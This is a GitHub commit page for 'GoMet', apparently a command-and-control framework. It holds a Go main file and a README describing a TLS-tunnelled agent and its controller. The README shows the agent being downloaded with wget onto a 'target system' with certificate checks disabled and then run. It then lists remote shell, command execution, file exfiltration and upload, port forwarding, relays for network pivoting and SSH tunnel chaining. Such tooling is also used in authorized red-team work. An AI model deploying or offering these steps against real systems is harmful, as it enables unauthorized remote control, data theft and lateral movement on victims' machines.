Skip to content

Commit

Permalink
First impl
Browse files Browse the repository at this point in the history
  • Loading branch information
mimah committed Mar 31, 2019
0 parents commit 1811830
Show file tree
Hide file tree
Showing 19 changed files with 2,941 additions and 0 deletions.
4 changes: 4 additions & 0 deletions .gitignore
Original file line number Diff line number Diff line change
@@ -0,0 +1,4 @@
.idea/
logs/
share/
GoMet
56 changes: 56 additions & 0 deletions Main.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,56 @@
package main

import (
"./gomet"
"fmt"
"log"
"math/rand"
"os"
"sync"
"time"
)

func main() {

rand.Seed(time.Now().UnixNano())

err := os.MkdirAll("logs", 0700)
if err != nil {
fmt.Printf("Failed to create logs directory %s\n", err)
return
}

err = os.MkdirAll("share", 0700)
if err != nil {
fmt.Printf("Failed to create share directory %s\n", err)
return
}

logFile, _ := os.Create("logs/client.log")
log.SetOutput(logFile)

config, err := gomet.LoadConfig()
if err != nil {
fmt.Printf("Invalid configuration file: %s\n", err)
return
}

var wg sync.WaitGroup
wg.Add(1)

server := gomet.NewServer(&wg, config)
server.Start()

cli := gomet.NewCLI(server)
go cli.Start()

if config.Api.Enable {
api := gomet.NewApi(server)
go api.Start()
}

log.Printf("Waiting for server to stop")
wg.Wait()

log.Printf("Server stopped")
}
243 changes: 243 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,243 @@
GoMet
=====

Simple multi-platform agent and its controller.
The agent communicates with its controller through TLS tunnel.

#### Work in progress :)

Build
-----
Install Go (https://golang.org/dl/) and compile GoMet.

```
go build .
```

Basic usage
-----------

Launch GoMet

```
#> ./GoMet
____ __ __ _
/ ___| ___ | \/ | ___| |_
| | _ / _ \| |\/| |/ _ \ __|
| |_| | (_) | | | | __/ |_
\____|\___/|_| |_|\___|\__|
by Mimah
server > info
Local listener: 0.0.0.0:8888
Socks listener: 127.0.0.1:9050
HTTP magic: khRoKbh3AZSHbix
server >
server > help
Commands:
clear clear the screen
exit Exit
generate Generate an agent
help display help
info Print server information
routes List routes
sessions List sessions
```

On the target system download an agent for the corresponding OS and Architecture

```
wget https://<controller>:8888/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent
````
The controller automatically builds an agent with the right information.
**Note**:
"khRoKbh3AZSHbix" is a random magic generated by the controller, type "info" in the GoMet CLI to know it.
In this use-case you have to add --no-check-certificate option because the default TLS certificate is auto-signed.
**Available OS** (see Golang GOOS):
linux
darwin
windows
solaris
...
**Available Architectures** (see Golang GOARCH):
386
amd64
arm
arm64
...
Launch the agent
```
chmod +x agent
./agent
```
In GoMet CLI we can see the new session created
```
server > New session 1 - <agent_hostname> - <agent_IP>:<agent_port> - darwin/amd64
```
Interact with a session
------------------------
```
server > sessions open 1
session 1 > help

Commands:
cat Print a file
clear clear the screen
close Close session
connect Connect a local port to a remote Address
download Download a file
execute Execute a command
exit Back to server
getuid Get user Id
help display help
jobs List jobs
listen Connect a remote port to a local Address
ls List files
netstat List connections
ps List processes
pwd Get current directory
relay Relay listen
shell Interactive remote shell
streams List streams
upload Upload a file


session 1 >
```
TCP forwarding
--------------
We can forward TCP connection through the agent TLS tunnel in both direction.
##### connect
Listen a port locally (on the controller system) and forward it to a remote service.
##### listen
Listen a port remotely (on the agent system) and forward it to a local service.
Make a relay
------------
If the controller is not accessible from the target system (after network pivot) we can define a "relay" on another agent.
Then we can access the controller through the relay like the controller itself.
```
session 1 > relay
Remote Address: 0.0.0.0:9999
session 1 >
```
And from the target system
```
wget https://<relay>:9999/khRoKbh3AZSHbix/agent/darwin/amd64 --no-check-certificate -O agent
````
Sharing files with the controller
---------------------------------
The controller can share files.
Copy a file in the share directory and download it with the magic URL
```
wget https://<controller>:8888/khRoKbh3AZSHbix/my_file --no-check-certificate
```
We can also upload a file to the controller
```
wget https://<controller>:8888/khRoKbh3AZSHbix/other_file --no-check-certificate --post-file file
```
Generate an agent with the CLI
------------------------------
```
server > generate
OS: windows
Arch: amd64
Host: <controller>:8888
HTTP proxy:
HTTPS proxy:
Proxy username:
Proxy password:
Generated agent URL: https://<controller>:8888/Ye8o14kw1rpMJ8f/ySUxt7YT8X5fyat
server >
```
Configuration files
-------------------
Default configuration is defined in **config/config.json** file.
```
{
"listenAddr":"0.0.0.0:8888",
"socks": {
"enable": true,
"addr": "127.0.0.1:9050"
},
"api": {
"enable": false,
"addr": "127.0.0.1:9000"
}
}
```
Define a tunnel
---------------
If we want to listen through a tunnel we can define it in the configuration file. SSH only actually.
```
{
"listenAddr":"0.0.0.0:8888",
"socks": {
"enable": true,
"addr": "127.0.0.1:9050"
},
"tunnel": {
"listenAddr":"<exit_node>:8888",
"nodes": [
{
"type":"ssh",
"host": "<first_node>:22",
"username": "user",
"password": "user"
},
{
"type":"ssh",
"host": "<second_node>:22",
"username": "user",
"password": "user"
},
{
"type":"ssh",
"host": "<exit_node>:22",
"username": "user",
"password": "user"
}
]
}
}
```
Custom TLS certificate
----------------------
A default certificate is generated in the config directory. You can replace it with yours.
**Warning:** If you change the certificate you have rebuild all the agents because the certificate hash will not be the same.
HTTP API
--------
Work in progress
Loading

0 comments on commit 1811830

Please sign in to comment.